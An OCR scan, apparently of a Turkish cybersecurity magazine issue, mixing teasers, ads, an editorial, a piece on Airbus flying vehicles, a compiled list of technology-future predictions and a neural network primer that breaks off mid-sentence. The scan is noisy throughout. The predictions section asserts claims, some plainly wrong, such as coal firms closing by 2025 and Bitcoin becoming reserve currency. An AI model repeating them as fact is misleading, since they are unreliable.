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GPS Kiiresel
Konumlama
Sistemi

Eski zamanlarda bir nesneye benzetilen
bir kaya, bir.nehir, gol veya bir han; ytice
birdag, belki anitlasmis yorgun biragac,
uzaktan goriilen iskenderiye feneri sey-
yahlarin gemilerin, kervanlarin veya bir
ordunun yolunu bulmasi veya oldugu
konumu dgrenmesi icin yeterli oluyordu.

B Devami... 50'de

Yakinimizdaki
Tehdit Kablosuz
Aglar

Herkese acik olan kablouz aglarda
dikkatli olun: Herkesin erisimine acik or-
tamlardaki (kafe vb.) kablosuz aglan
kullanmamaya 6zen gosterin. Olur da kul-
lanirsaniz, bankacilik gibi 6zel islemlerinizi
gerceklestirmeyin! Bu tarzislemler icin te-
lefonunuzun kablosuz internet paylasimi
ozelligini kullanabilirsiniz.

B Devami...60'da

Federasyonu

Kisisel Verilerin

Korunmasi Kanunu
Isiginda Temel Veri
Koruma Kavramian

Kisisel verilerin 6nemi ve bu 6nem
iizerine insa edilen 6698 sayili Kisisel
Verilerin Korunmasi Kanunu (“Ka-
nun”) biz hukukgculan ve aslinda veri
sahibi gercek kisiler de dahil herkesi
ziyadesiyle ilgilendiren bir konu ola-
rak giindemimize girdi.

B Devami... 30'da
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Web Uygulamasi
Guvenlik Tarayicisi

Netsparker'i Kullanarak Web Uygulamalariniz ve Web

Servislerinizdeki Zafiyetleri Saldirganlardan

Once Tespit Edin

Netsparker ayni anda yiizlerce
hatta binlerce websitesinde,
websitesinin gelistirildigi dil ya
da teknolojiye bakmaksizin,
platformdan bagimsiz bir
sekilde guvenlik aciklarini
otomatik olarak tespit eder ve
¢cOzum Onerilerini de icerecek
sekilde tim detaylariyla size

raporlar.
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www.netspa rker.com.tr
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Yorum Insaat olarak sirketimizin temelini olusturan kiiltiir, ulusal

ve uluslararasi alanda ¢alismaya dayali stratejik ortakliklar kurmak
ve bu eksende lizerimize diisen gorevi en iyi gekilde yaparak,
rekabetin i¢inde ulusal sermayenin giiclti ve saygin temsilcilerinden
biri olmaktir. Bu hedef dogrultusunda ilerleyen ekibimiz, gerek

yurt iginde, gerekse yurt disinda faaliyet gosterdigimiz alanlarda
markamizi bagari ile temsil etmesinin yani sira yenilik¢i ve modern is

anlayisi ile de sektériimiize deger katmayr amag edinmistir.

Cevreye karsi duyarliligimiz ve faaliyet gésterdigimiz farkh

tilkelerin toplumsal degerlerine olan saygimiz grubumuzun en

énemli 6zelliklerindendir. Bu sebeple, gerceklestirdigimiz aligverig
merkezi, ofis, rezidans ve konut projelerini bulundugu ¢evrenin

etnik 6zelliklerine uygun ve en ytiksek kalitede dizayn etmekte ve bu
baglamda her projenin bulundugu bélgeye estetik ve islevsel bir anlam

katmasina da 6nem gostermekteyiz.

Yorum Ingaat, strateji haritasinda belirledigi kurumsal hedeflere dogru
yolculugunu faaliyet gosterdigi farkli is kollarinin yaninda énciiliik
ettigi ve destek verdigi sosyal sorumluluk projeleri ile de kesintisiz

olarak siirdiirmektedir.

Basar1 yolunda ilerlerken bizden destegini ve giivenini esirgemeyen
saygideger is ortaklarimiza, Yorum Ingaat ailesi'nin en énemli
paydasini olusturan galisanlarimiza ve markamiza olan giiveni her

gecen giin artan degerli miisterilerimize tesekkiirlerimi sunuyorum.

Inaniyorum ki, yiiksek bir inanc ile baglandigimiz ve eksiksiz
olarak uygulamaya 6zen gosterdigimiz ilkeler 113inda 6niimiizdeki
yillarda da gerceklestirecegimiz projeler ve kazanacagimiz basarilarla

uluslararas: platformda tilkemizi en iyi sekilde temsil edecegiz.
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Kapilar Bariyerler Kapilar Uygulamalar
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Dunyanin en iyileri ile Urettigimiz tasiyici sistemleri,

projenize kusursuz olarak uyguluyoruz.

www.anadolusolar.com
info@anadolusolar.com
+90 212 662 45 36
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adece teknik yazin icin degil, edebiyat, sanat, si-
yaset gibi alanlarin pek cogunda sureli yayinlar,
daha 6zel anlamiyla dergiler 6beklerin merkez-
lerinde duran buytik bir payda rollini tstlen-
mektedir.

Bu sureli yayinlar yalnizca merkezde durmak degil, merkez
ile cevrenin iletisimini saglamak, onlari zinde tutmak gibi
roller de Ustlenirler. Merkezden ¢evreye, cevreden merkeze
bilgi akisi yuzlerce yildir dergiler, siireli yayinlar marifeti ile
saglaniyor.

Omer Seyfettin'in basini cektigi Geng¢ Kalemler, bir edebiyat
akimi olarak bilinen Servet-i Flinun aslinda birer dergi. Politi-
kada dahi hareketlerin adi ile anildigi dergiler mevcut.

Diinyada oldugu gibi ilkemizde de siber glivenlik alaninda
faaliyet gosteren kisiler icin boylesi bir dergi ihtiyaci asikar.
Sektor calisanlarinin bilgi ve tecriibelerini paylastig; ayril-
maz bir biitliin oldugumuz uluslararasi ¢calismalar ile senkro-
nize olduklari, en 6nemlisi de katkilari ile
zenginlestirebilecekleri ve "bizim" olan bir dergi.

Uluslararasi Siber Guvenlik Federasyonu tarafindan hazirla-
nan bu derginin bu ihtiyaca bir cevap olabilmesini can-1 yu-
rekten diliyorum.

Katkilariniza muhtag olan bu mutevazi calismanin ikinci sayi-
sini takdim ederken, basta bu sayida yazilari ile agirladigimiz
kiymetli yazarlar olmak tzere, bu mitevazi calismanin ilgi-
leri ile kiymetlendigi okurlarimiza, dergide emegi gegen
basin/yayin emekgilerine tesekkurlerimi sunuyorum.

iyi okumalar dilerim.
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Airbus'n

Ucan Otomobilleri,
Otobusleri ve Kargo IHA'lan
Yakinda Gokyuziinde Olacak!

—

Diinyanin en biiyiik ucak tireticilerinden Airbus, ucan araclarla ilgili projelerini
kamuoyu ile paylasti. Sehirler siirekli biiyiiyor ve trafik, simdikinden bile daha

beter olacak.

irbus Group'un kentsel hava hareketliligi bo-
[Gm, 2030'da niifusun ylizde 60'inin sehirlerde
yasayacagini dngoriyor. Boeing'ten sonra din-
yanin en blyuk ucak Ureticisi, kentsel sikisikhga
karsi ti¢ ayri ¢cozim gelistiriyor ve hepsi icin gokyiziine bak-
mak yeterli. Airbus'in Gi¢ asamali plani su: Tek kisilik dikey
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yukselebilen arag, verimli bicimde kargo tasiyabilen dro-
ne'lar ve yine dikey olarak yiikselebilen otobusler. Dikey
yukselme ibaresi 6zel bir anlam tasiyor ¢linkii su anda ureti-
len ve bazi ugan otomobiller, ivmelenmek icin kilometre-
lerce acik yola ihtiyac duyuyor ve kesinlikle kullanilabilir
degiller.



Airbus CEO'su Tom Enders, sirketin DLD konferansindaki
Minih'teki projeleri hakkinda konusarak, katilimcilara, yil
sonuna kadar tek kisilik ucan bir araci tanitacaklari umut
ettigini acikladi:"YUz yil 6nce kentsel ulasim yer alti ile bu-
lustu. Artik gokyiliziini fethedecek teknolojiye sahibiz.

Denemelerimiz siirliyor, su ana kadar bu denemeler basa-
rili oldu. Ucarken, kopriiler ve yollara milyarlarca dolar har-
camaniza gerek yok." Tek pilotlu, kendi kendine kontrol
eden bir arag olan Vahana, tam bir Airbus konsepti. Sikisik

trafikle ugrasmak zorunda da degil. 2017 yilinin sonuna
kadar test edilmek isteniyor ve bélim genel midiri Rodin
Lyasoff'a gore, bu testler glivenle uygulanabilir. Lyasoff,
"Aracta; piller, motorlar ve aviyonik mimari gibi ihtiya¢ du-
yulan teknolojilerin bircogu var.

10 yildan kisa bir surede, milyonlarca insanin kentsel
yolculugunda devrim yaratacak trlnlerimiz var."
aciklamasini yapiyor.
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Doga Dostu hizl cozumler

evreye olan duyarlilk” son

yillarda hizh bicimde art-

maktadir. isletmeler hem

cevreye olan duyarhhkla-

rini kanitlamak hem de

tiketicilerinin bu yondeki
taleplerini karsilamak amaciyla cev-
reye duyarh Uretim teknolojileri kul-
lanmalidirlar.

Cevreye zarar veren atik birakmadan,
hatta hic¢ yeni atik Gretmeden, diger
Uretimlerin atigin hammadde olarak
kullanarak, doga ve dogadaki canlilara,
hatta dogal cevre ve tarihsel dokuya
zarar vermeden, zehirli atik ve zehir
Uretmeden, metan ve karbondioksit
gibi sera gazlarini olusturmadan, gele-
cek kusaklari ve doganin diger unsurla-
rini da dislinerek, dogal kaynaklari
tiketmeden yararlanarak, doga ile bir-
likte calisarak yapilan Gretim cevre
dostu tretimdir. Uretim teknolojisi ¢ev-
reye zarar verme ihtimali olan atik bi-
rakmadan, Uretim strecinde en az
dogal madde tlketerek, en az enerji ile
istenen urlind en yuksek verimle ure-
tecek sekilde olursa ideale yakin
“cevre dostu Uretim” gerceklesmis olur.

Bu tanimlar dogrultusunda, isletmele-
rin, cevreye duyarli Gretim faaliyetle-
rinde bulunabilmeleri icin, Grlinleri,
yasam siresince, atik yaratmayacak ve
cevreye olumsuz etkileri en az olacak
bicimde tasarlamalari gerektigi belirti-
lebilinir.

insanin son 200 yildir uygulamaya koy-
dugu uretim tarzi ve tiiketim aliskanlig
diinyanin ekolojik dengesini alt Ust et-
mistir. Dlinyada baslayan sanayi dev-
rimi ile birlikte Bati tlkelerinde
geliserek devam eden ve daha sonra
diger diinya ulkelerine de gecen seri
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Hizli Coziimler

Yusuf BAYKAL - Alser Grup Ltd. Sti.
Yonetim Kurulu Baskani

Uretim tarzi sanayinin baca gazlari,
kimyasal sanayinin zehirli atiklari basta
olmak Uizere, UGzerinde yasadigimiz
diinyayi buyuk 6l¢iide kirletir olmustur.

Hatta bu kirlilik 21. Ylzyila girerken Gl-
keleri diinyanin nasil temizlenecegi ko-
nusuna uluslararasi baglayici ¢6ziimler
aramaya sevk etmistir.

Bilimin Giretimin emrine verilmesi ile
birlikte baslayan insanlarin daha ¢ok
sayida Uiretme ve zengin olma istegi,
kaynaklarin hi¢ tiikenmeyecekmis gibi
kullanilmasina sebep olurken Gretim
atiklari ve tiketim atiklari atmosferi,
denizleri, nehirleri ve kara parcalarini
uluslararasi boyutlarda kirletmeye bas-
lamistir. Firmamiz; is ve kazang politi-

kasini insana ve devletine hizmet
olarak benimsemis olup ,2007 den
beri gerek Urettigi projeler gerek ile-
riye doniik teknolojik calismalarinda,
insani ve cevreyi on planda tutmus
ve bunu is planinin olmazsa olmazi
yapmistir.Alser grup catisi altinda kur-
dugumuz Nanorip markasiyla toplu-
mumuza ve Ulkemize daha saglikh
dogal yasanilir mekanlar yaratmayi
hedeflemekteyiz bunun istek ve ar-
zusuyla ¢alismalarimiza devam et-
mekteyiz.

2017 yiliigcinde USGF arge calismalari-
miza kattigi ve katacagi glicle milleti-
mize hizmet etmenin gururu ve
mutluluguyla ¢alismalarimiza devam
etmekteyiz.
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Uslinlin... tahayyul edin...
1998 de fabrikada 170 bin
kisi calistyordu, sirket Urettigi
fotograf kagitlarinin yiizde 85
ini Diinya capinda satiyordu.
Birkag yil icinde fotograf kagidi Giretimine
gerek kalmadi ve sirket iflas etti. Sirkete
ne oldu? Oniimiizdeki 10 yil icinde diger
bircok enduistri alaninda neler olacak? in-
sanlarin cogu degisimi anlayamiyor. 1998
yilindayken, ¢cok degil ti¢ yil sonra 2001 de
fotograflarinizi film kagidina cekmeyece-
giniz akliniza gelmis miydi? Digital kame-
ralar 1975 yilinda icat edildi. ilk kameralar
sadece 10 bin piksel kabiliyetindeydi, son-
rakiler Moore Kanununu izledi.

Moore Kanunu

Cok hizli artisla ilgili bir elektronik ka-
nunu) Batin Gstel teknolojilerde oldugu
gibi Digital kameralar uzunca bir siire
hayal kirikligi yaratti ama daha sonra, sa-
dece birkac yil icinde, film fotografciligina
gore ¢ok Ustiin oldugu kanitlandi ve fo-
tografcilikta kullanilan baslica yontem ha-
line geldi. Simdi ayni sey yapay zeka,
saglik. Elektrikli/otomatik(soforsiiz) arag-
lar, egitim, Gi¢ boyutlu baski, tarim ve mes-
leklerde de oluyor. Dordiincii endistri
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devrimine hos geldiniz.. Ustel yazilim tek-
nolojisine hos geldiniz.. Bu yazihm kabili-
yeti 5-10 yil icinde geleneksel endistri
yontemlerinin blyik bdlimini yok ede-
cek. UBER'in sadece bir yazilimdan ibaret
oldugunu, sirketin kendine ait bir tek oto-
mobili bile olmamasina ragmen Diinyanin
en bulyk taksi sirketi oldugunu hatirlat-
mak isterim. Ayni sekilde AirBnB ; binasi,
oteli, moteli yok ama diinyanin en biyuk
Otel isletmecisi (Sirketi)

Yapay Zeka

Bilgisayarlar diinyayr anlama ve yorum-
lama konusunda kat be kat (istiin. icinde
bulundugumuz yil Bilgisayar, diinyanin en
iyi “GO PLAY” (Damaya benzer, cok zor bir
uzak dogu oyunu) oyuncusunu yendi. Bu
olay, tahmin edilen tarihten on yil 6nce
gerceklesti. ABD de geng avukatlar issiz..
Avukatlarin ilgilendigi ¢cok karmasik olma-
yan hukuki konularda gerekli 6neri veya
¢6zum yollarini saniyeler icinde ve ylzde
90 dogrulukla” IBM Watson programin-
dan”alabilirsiniz. Ayni islem avukatlarla
yapilirsa dogruluk orani ylizde 70 den yu-
kari gitkmiyor. E§er hukuk tahsili yapiyor-
saniz, hukukta branslasmayi distiniin.
Yakin gelecekte avukat sayisi bugiinkiin-

~ s Derleyen Onur OZDEN
Zie'bze_ Teknik Universitesi

den ylizde 90 daha az olacak, sadece 6zel
konularda yetismis olanlar kalacak.. WAT-
SON kanser teshisinde saglik personeline
yardimci oluyor. Watson tarafindan yapi-
lan kanser teshisi, normal insan tarafindan
yapilana gére DORT kat daha dogru ve
kesin. FACEBOOK tarafindan gelistirilen
“Model Tanima Yazilimi” insan y{iziinu in-
sandan daha iyi taniyor.

Soforsiiz Araglar

2018 yilinda ilk soférsiiz araclar yollarda
gorunecek. 2020 yili civarinda glinim-
zlin klasik otomobil endistrisi cokmeye
baslayacak. Ozel bir aracinizin olmasi ge-
rekmeyecek. ihtiyac duydugunuzda tele-
fonla arag isteyeceksiniz, arac kapiniza
gelecek ve sizi gitmek istediginiz yere go-
tiirecek. Cocuklarimiz araba sahibi olmak
ve ehliyet almak zorunda kalmayacaklar.
Boyle bir diizenleme icin ylizde 90-95 daha
az sayida araca ihtiyac olacagindan sehir-
ler degisecek. Eskiden Arag park sahasi
olarak kullanilan alanlar yesil parklara
donusturilecek. Her yil Diinyada mey-
dana gelen trafik kazalarinda 1.2 milyon
kisi hayatini kaybediyor. Bugilin her yiiz
bin km.de bir kaza meydana geliyor.



Tesla, Apple, Google gibi teknoloji sir-
ketleri revolutionary bir yaklasimla te-
kerlekli bilgisayarlar Uretirlerken,
geleneksel arag sirketleri evolutionary
bir yaklasimla daha iyi araclar tretecek-
ler. Audi ve Wolkwagende calisan bir-
cok mihendisle konustum, TESLA ile
blylk rekabet yasayacaklarini diisiini-
yorlar.

Kaza olmadigi icin sigorta sirketleri
blyik sorunlarla karsilasacaklar, si-
gorta bedelleri 100 kat azalacak. Bu-
gunki arag sigortalama modeli
ortadan kalkacak. Arsa, arazi ev alim
satim isleri de degismek zorunda kala-
cak. insanlar ise giderken bile calisa-
bilme imkanina kavustuktan sonra,
uzak da olsa daha glizel ve dogaya

daha yakin yerlere taginacaklar. 2020
yilina kadar yollardaki araglarin biyuk
kismi elektrikli olacak. Etrafi kirletme-
yen, maliyeti oldukga dusuk elektrikle
cahsan araglar kullanildigindan Sehirler
daha temiz ve daha sessiz hale gelecek.

Guines enerjisi ile calisan araglar expo-
nential egride 30 yil sonra goruniyor.
Fakat etkilenmeleri simdiden izliyoruz.
Gecen yil diinya capinda acilan Gilines
Enerjisi istasyonu sayisi fosil yakit istas-
yonu sayisindan fazla oldu Gilines ener-
jisi maliyetleri o kadar diisecek ki
batun kdmur sirketleri 2025 yilina
kadar faaliyetini durduracak. Ucuz elek-
trikle birlikte ucuz ve bol su da gele-
cek.. Bir metre kiip tuzlu suyu icme
suyu haline getirmek icin sadece 2 KW

elektrige ihtiyag var. Diinya lzerinde
cok yerde yeterli su var ama icme suyu
yeterli degil. insanlarin istedikleri an is-
tedikleri kadar (maliyeti yok denecek
kadar az) suya sahip olduklarinda neler
olabilecegini bir dislintn..

Saghk

Tricorder X in fiyati bu yil aciklanacak.
ilac sirketleri cep telefonu ile birlikte
calisarak Retinayi tarayan, analiz icin
kan ve nefes 6rnegi alip 54 degisik test
yaparak hangi hastalik varsa ortaya ¢i-
karan “Tricorder” adi verilen bir tibbi
cihaz Uretiyor. Cihaz ucuz olacagindan
birkac yil icinde, Diinya Uzerindeki her-
kes harcama yapmadan en st diizeyde
saglik hizmetine kavusacak.
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Ug Boyutlu Baski

Onilimiizdeki on yil icinde en ucuz U¢
Boyutlu (3D) Baski cihazinin fiyati 18
bin Dolardan 400 Dolara duisecek. Ayni
zamanda cihazlar 100 kat daha hizli
hale gelecek. Butiin 6nde gelen ayak-
kabi firmalar bu glinden bu cihazlarla
ayakkabi tGretmeye basladi. Uzak hava
alanlarinda ugak yedek parcalarinin 3D
yazicilarla Gretimine baslandi. Uzay is-
tasyonunda 3D printer kullaniliyor. Bu
sayede ihtiya¢ duyulan yedek parca
veya malzeme yerinde Uretilebildigin-
den ge¢miste oldugu gibi buytk mik-
tarda yedek parca tasinmasina gerek
kalmiyor.

Bu yilin sonuna kadar yeni akilli tele-
fonlarda 3D tarama kabiliyeti olacak .
Bu sayede kendi ayaklarinizin dl¢tsina
cikararak en uygun ayakkabiyi evde
Uretebileceksiniz. Cin'de 6 katl bir is
merkezi 3D ile Uretilerek tamamlandi.
2027 yilina kadar bugiin geleneksel
yontemlerle Uretilmekte olan malze-
menin %10 u 3D ile Gretilmis olacak.

is imkanlan

Belirli bir sahada is hayatina atilmayi
disuintyorsaniz, kendinize sorun; “Bu
isi gerceklestirebilecek miyim?” Cevabi-
niz evet ise; “Bunu daha erken nasil ya-
pabilirim” konusuna odaklanin..
Tasarladiginiz is telefonunuzla yapila-
miyorsa, fikrinizi unutun. 20 nci yliz-
yilda basari igin tasarlanmis herhangi
bir fikir, 21 nci ylizyilda basarisizliga
mahkum olabilir..
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Lbx+y+2a+21
lim:h=30

Meslek

Bu guinkl mesleklerin (islerin) ylizde
70-80 i onimuzdeki 20 yilda yok ola-
cak. Pek ¢cok yeni meslegin ortaya ¢ika-
cagdi kesin, ancak bdylesine kisa bir
zaman araliginda yeterli sayida yeni
meslek ortaya ¢ikar mi? Sorusunun ce-
vabini heniiz bilemiyoruz..

Tarim

Onilimiizdeki yillarda “TARIM ROBOT-
LARI" 100 Dolara satilacak. 3 ncii diinya
Ulkelerindeki ciftciler arazilerinde
bltun giin calismak yerine tarim rob-
otunu yoneten birer yonetici olacaklar.
Aeroponiklerin (Havada Yetistirilen Bit-
kiler) daha az suya ihtiyaci olacak.

Dana eti Ureten ilk PETRI tabaginin
(Bakteri Ureten tabak) Urettigi et 2018
yilinda danadan elde edilen etten daha
ucuz olacak. Su anda, tarima elverisli
arazinin ytizde 30'u biyiikbas hayvan
Uretimi icin kullaniliyor. Hayvan yetis-
tirmek icin Bu araziye ihtiyacinizin kal-
madigini distintin..

Bbcek proteinini Kisa siire icinde piya-
saya slrecek girisimler var. Bocek pro-
teini etten daha fazla protein iceriyor.
Halen ¢cogu insan bocek yeme fikrine

soguk bakmasina ragmen “Bécek Pro-
teini” alternatif protein kaynadi olarak
adlandiriliyor.

Moodies

Hangi ruh hali icinde bulundugunuzu
soyleyen‘Moodies’ adinda bir uygu-

lama var. 2020 ye kadar yiiz ifadeniz-
den yalan sdyleyip soylemediginizi tes-
pit edebilecek uygulamalar geliyor.
Tartisanlarin dogru veya yalan soyle-
diklerinin kolayca anlasilabildigi politik
bir tartisma izlediginizi distnun..

Bitcoin

Bu yil ana para birimlerinden biri olabi-
lir, hatta varsayilan rezerv para birimi
haline bile gelebilir.

Egitim

Afrika'da ve Asya'da en ucuz akilli tele-
fonlar simdiden 10 Dolara satiliyor.
2020 ye kadar insanlarin biyik cogun-
lugu, Diinya klasinda egitim ve bilgiye
ulasmayi saglayacak, akilli telefon veya
benzeri bir kolayliga sahip olacaklar.
Her cocuk sanat, miihendislik, tasarim,
dil, bilim, muzik, matematik vb konu-
larda egitim almak icin KHANS ACA-
DEMY veya benzeri diger imkanlari
kullanabilecek.

Uzun Yasam

Simdi ortalama émiur yilda li¢ ay uzu-
yor. Dort yil 6nce 79 yil olan ortalama
Omdir simdi 80 yil. Ayni zamanda simdi
Uc ay olan yillik artis da artiyor. Bu ne-
denle hepimiz ¢cok uzun sire yasayabi-
liriz, muhtemelen 100 yasinin ¢cok
Uzerine kadar. Bu buglinin bilim ve
teknolojisine gore bilebildiklerimiz.
Kim bilir gelecekte daha neler olacak,
tam anlamiyla biyduleyici .

Urkiitiici? Heyecan verici?
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Yapay Sinir Aglar

Cogumuzun ilgisini ceken ve bir hollywood filmine konu olan ” Acaba robotlar diinyaya ve insan-
lara hilkkmedecekler mi? ” sorusuna ve bu soruya gebelik getiren matematik, tip ve bilisimin har-
man liriinii olan yapay sinir aglarini inceleyecegiz.

iraz uzun bir yaz olacak
ama konunun kapsami ya-
ninda bu yazi ancak temeli,
mantigi ile alakali olup;
konu kapsaminda bir kum
tanesi olmasina karsin konuyu sekillen-
dirmek adina temel teskil edecektir.
Her bebek dusiinme, gérme, duygu
gibi beyin fonksiyonlarindan sorumlu
yaklasik 100 milyar sinir hiicresi ile
dogar.

Hayatin ilerleyen dénemlerinde ise bu
dogustan gelen 100 milyar sinir hiicre-
sinin Uzerine yenileri tretilmemektedir.
Sinir hiicreleri sinaps adi verilen kici-
clik bosluklarla birbirlerine baglanirlar
ve beynin ¢esitli fonksiyonlarini yerine
getiren kiimeler olustururlar. Dogum-
dan sonraki ilk sekiz ay boyunca sinir

5,

e

hicreleri arasinda bag olusumu sasir-
tici derecede hizlidir. Sekiz ayin so-
nunda yaklasik 10.000 trilyon sinaps
olusmustur.

Bu sinapslarin gunliik yasamdaki ihti-
yaglara ve uyaranlara bagli olarak bir
kismi korunur, kullanilmayanlar ise za-
manla kaybolur ve cocuk 10 yaslarina
geldiginde sinaps sayisi eriskinlerdeki
seviyesine (5.000 trilyon) iner.

Yasamin ilk aylarinda olusan bu bag-
lantilar bebege disaridan gelen uyaran-
larla gliclendirilmekte ve kalicl hale
getirilmektedir. Bu uyaranlari verenler
de cogunlukla bebegin anne baba ve
yakin cevresi ile bakiminda yardimci
olan kisilerdir. (US National Library of
Medicine

Her seyi anladik da sinaps nedir
nerede bulunur?

Sinaps, néronlarda yani sinir
htcrelerinde bulunur.

Peki sinir hiicresi nedir derseniz kisaca
soyle g6z atalim : insan_teknoloji_

image3Sinir hiicresi ya da néron, sinir
sisteminin temel fonksiyonel birimidir.

Baslica islevi bilgi transferini gercekles-
tirmektir. insan sinir sisteminde yakla-
stk olarak 100 milyar néron oldugu
tahmin edilmektedir.

Normal bir sinir hiicresi 50.000-250.000
kadar baska noronla baglantilidir. Yap-
tiklar 6zellesmis islere bagh olarak

farkli sekillerde ve cesitlerde olabilirler.




Sinapsi ise kisaca soyle
tanimlayabiliriz :

sinapsSinaps, noronlarin (sinir hiicrele-
rinin) diger ndronlara ya da kas veya
salgi bezleri gibi néron olmayan hiicre-
lere mesaj iletmesine olanak taniyan
ozellesmis baglanti noktalari. Bir motor
noron ile kas hiicresi arasindaki kimya-
sal sinaps, ayni zamanda neuromuscu-
lar junction néromuskdler baglant
olarak adlandinlir.Kimyasal sinapslar
sayesinde merkezi sinir sistemi igerisin-
deki néronlar birbirleriyle néral devre-
leri iceren bir sinir agiolusturabilirler.
Bundan dolayi, algilama ve disiinme
gibi zihinsel islevlere temel teskil eden
biyolojik kompiitasyonda sinapslar
temel bir rol Ustlenmektedirler. Ayrica
sinir sisteminin viicudun diger organla-
riyla iletisim kurmasi da sinapslarin var-
hgina baglidr.

Ozet olarak beynimizden tiim viicuda
dagilan sinir hiicreleri, bizim 6grendi-
gimiz bilgileri tasirlar ve 6grenmis ol-
dugumuz tim bilgiler bir sinir agi
icerisinde gezinir. insan kasik bile tuta-
maz, yemedini kendi yiyemezken; yasi
ilerledikge ve sinir sistemini kullan-
dikca, baskasinin ekmegine bile el uza-
tir olur. Buraya kadar tamam, az ¢ok
zaten hepimiz biliyorduk sinir hiicresi
ve sinapsin ne oldugunu; lGzerinden
gecmis olduk. Peki bilgisayar nasil
karar verir, insan beynini nasil simile
eder hi¢ dusiindiinliz ma ?
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O zaman esas konumuz olan,

“YSA (Yapay Sinir Aglar) nedir, nasil
calisir, ne ise yarar ?” kismina dénelim.

Biyolojik sinir sisteminin calisma sek-
line benzetilerek gerceklestirilen
YSAKlar néronlarin cesitli sekillerde bir-
birlerine baglanmasiyla olusmus aglar-
dir. Bu aglar bilgiyi 6grenme, saklama
ve veriler arasindaki iliskiyi ortaya ¢I-
karma yetenegine sahiptirler. Diger bir
ifadeyle, YSAKlar, normalde bir insanin
yasayarak veya deneyerek sahip ol-
dugu 6grenme yetenegini gerceklesti-
rirler. insanoglunda 6§renme, néronlar
arasindaki sinaptik (synaptic) baglanti-
larin ayarlanmasi ile olur. Noronlar cok
sayida dentritleri vasitasiyla giris uyari-
sini alir.

Dentritlerce alinan bir giris, harekete
gegcirici (tetikleyici) veya yasaklayici
olabilir. Girisler toplanir ve néron gov-
desine yerlestirilir. Bu giris, belirli bir
esik degerini astigi zaman, hiicre diger
hiicrelere aksonu vasitasiyla bir etki ile-
tir. Bu basit anlatim yapay néron igin
bir model olusturur. Bir néron/islem
birimi, kendine gelen girisleri toplayan
ve sadece girislerin toplami ic esik de-
gerini astiginda bir cikig Greten bir
islem elemanidir. Yaygin olarak kullani-
lan bes tane i¢ esik fonksiyonu vardir.
Bunlar liner, rampa, basamak, sigmoid
ve tanh(x) fonksiyonlaridir. Bir esik bi-
rimi olarak néron sinaplarindaki isaret-

leri alir ve hepsini toplar. Eger toplanan
isaret glic(i, belirlenen esigi gececek
kadar gucli ise, diger néronlari ve den-
tritleri uyarmak tizere akson boyunca bir
isaret gonderilir ve bu isaretler diger no-
ronun hiicre gévdesi toplar. Toplam isa-
ret daha sonra néronun i¢ esik degeri ile
karsilastirilir ve esik degeri asmissa
kendi aksonuna bir isaret yayar(Haykin,
1999). YSA'lar bu sekilde ¢alisan néron-
larin birbirine baglanarak bir aga donis-
tarilmesiyle meydana getirilmis
matematiksel sistemlerdir.

YSA pek ¢cok YSA'da, benzer karakteris-
tige sahip noronlar katmanlar seklinde
yapilandirlirlar ve esik birimlerini es za-
manli olarak ¢ahstinhrlar. Tim YSA'ar,
veri alan néronlara ve ¢ikti Gireten no-
ronlara sahiptirler.

Su ana kadar karni aciktiginda yemek
yemesi gerektigini biliyor ve yemegi
glvenilir bir kaynak olan annesinden,
annesini taniyarak, yani yliziint gorerek
ve sesini duyarak emin olup yutmasi ge-
rektigini de biliyor, ve bunun gibi bir ¢cok
bilgiyi daha 6nceden tecriibe etmis yani
sinir sisteminden gecirmis olan bebek,
ilk defa kasikla yemek yiyecek ! Kasikla
yemek yeme istegi ise annesi ve etrafin-
daki bireylerden goriip onlari taklit
etme isteginden geliyor. Daha 6nce
gord, tecriibe etti ve bunu kaniksadi.
Peki size bir soru : Bu bebek ilk defa
kasik kullanirken dokmeden yemesi
muimkin middar ?



Eminim ki herkesin cevabi hayir
olmustur.

Bu cevabiniz da aslinda daha dnce
sinir sisteminizi kullanarak 6grenmis
olduklariniz, sinir sisteminizden
gecen bilgiler sayesinde oldu. Peki
neden diye soralim ?

YSA'nin en 6nemli kisimlarindan birisi
de egitme algoritmalaridir. Egitme al-
goritmasi eldeki problemin 6zelligine
gore YSA'ya hangi tiir 6grenme kura-
lini uygulayacagimizi belirtir. iki tiir
ogrenme kurali vardir; egitmenli 6g-
renme kurali ve egitmensiz 6grenme
kurali. Egitmenli 6grenme kuralinda
egitme algoritmasi girdi/cikti verile-
rini kullanarak néronlar arasindaki
baglantilari bir yakinsama saglanana
kadar, tekrar tekrar ayarlanmaktadir.
Egitmensiz 6grenme kuralinda ise
YSA'ya sadece girdi verileri kullanir ve
bunlar arasindaki iliskileri YSAXnin
kendi kendine 6grenmesi beklenir.

Genelde YSA da en ¢ok kullanilan
egitme algoritmasi egitmenli 6gren-
medir. Bu tiir 6grenmede YSA, kulla-
nima sokulmadan once egitilir.

Egitim sirasinda hem girdiler hem de o
girdiler karsisinda olusturulmasi gere-
ken ciktilar YSA'ya verilir. Bu sayede
olayin girdileri ve ¢iktilari arasindaki
iliskiler 6grenilmektedir. Egitim asa-
masi genelde olduk¢a uzun stirmekte-
dir. Insanlar dogumlarindan itibaren
yasayarak ve deneyerek bir 6grenme
sreci icerisine girerler.

Bu siirec icinde beyin surekli olarak ge-
lisme gostermektedir. Yasayip tecriibe
arttikca sinaptik baglantilar ayarlanir
ve hatta yeni baglantilar olusur. Bu se-
kilde 6grenme gerceklesmis olur.

Bu durum YSA icin de gecerlidir. YSA'da
ogrenme kuralinin olusturulmasi igin
girdi/cikti verilerinin aga defalarca tani-
tilmasi gerekebilir. Ginimuz egitim ve
ogretim sistemlerinde, cevredeki uyari-
cllarin duyu organlarini etkilemesinden
yararlanilarak bilginin alinmast ile ilgili
arastirmalar 6n plandadir.

YSA sisteminde de bilgiler dis cevre-
deki uyaricilar ile gelir. Bilginin beyin-
deki gibi bellekte depolanabilmesi icin
anlamli kodlamanin yapilmasi gerek-
mektedir. Ayrica, 6renmenin gercek-
lesmesi icin kodlanan bilgininin tekrar
getirilmesi gerekmektedir. Beyinde
bilgi saklanmadan énce 6grenmenin
gerceklesmesi gerekmektedir. Ogren-
menin gergeklesebilmesi icin néronlar
arasi bag sayisi fazla olmalidir. Néronla-
rin olusturdugu ag sayisi fazlalastikca

0grenme o derece fazla olur. Egitim sU-
recinde 6grenme, bireyin cevresiyle
belli bir diizeydeki etkilesimleri sonu-
cunda meydana gelen nispeten kalici
izli davranis degismesidir. Ogrenme
noronlarin etkin olarak kullanilmasi so-
nucu olusmaktadir.

Egitim acsindan disindldidginde
ndron sayisinin fazla olmasi 6grenilen
bilgi ve bilginin kalicihgr agisindan
onemlidir.

Kisacasl, bebegin kasik ile yemek ye-
megi 6grenmesi icin defalarca dene-
mesi ve gercek sonuca ulasana kadar
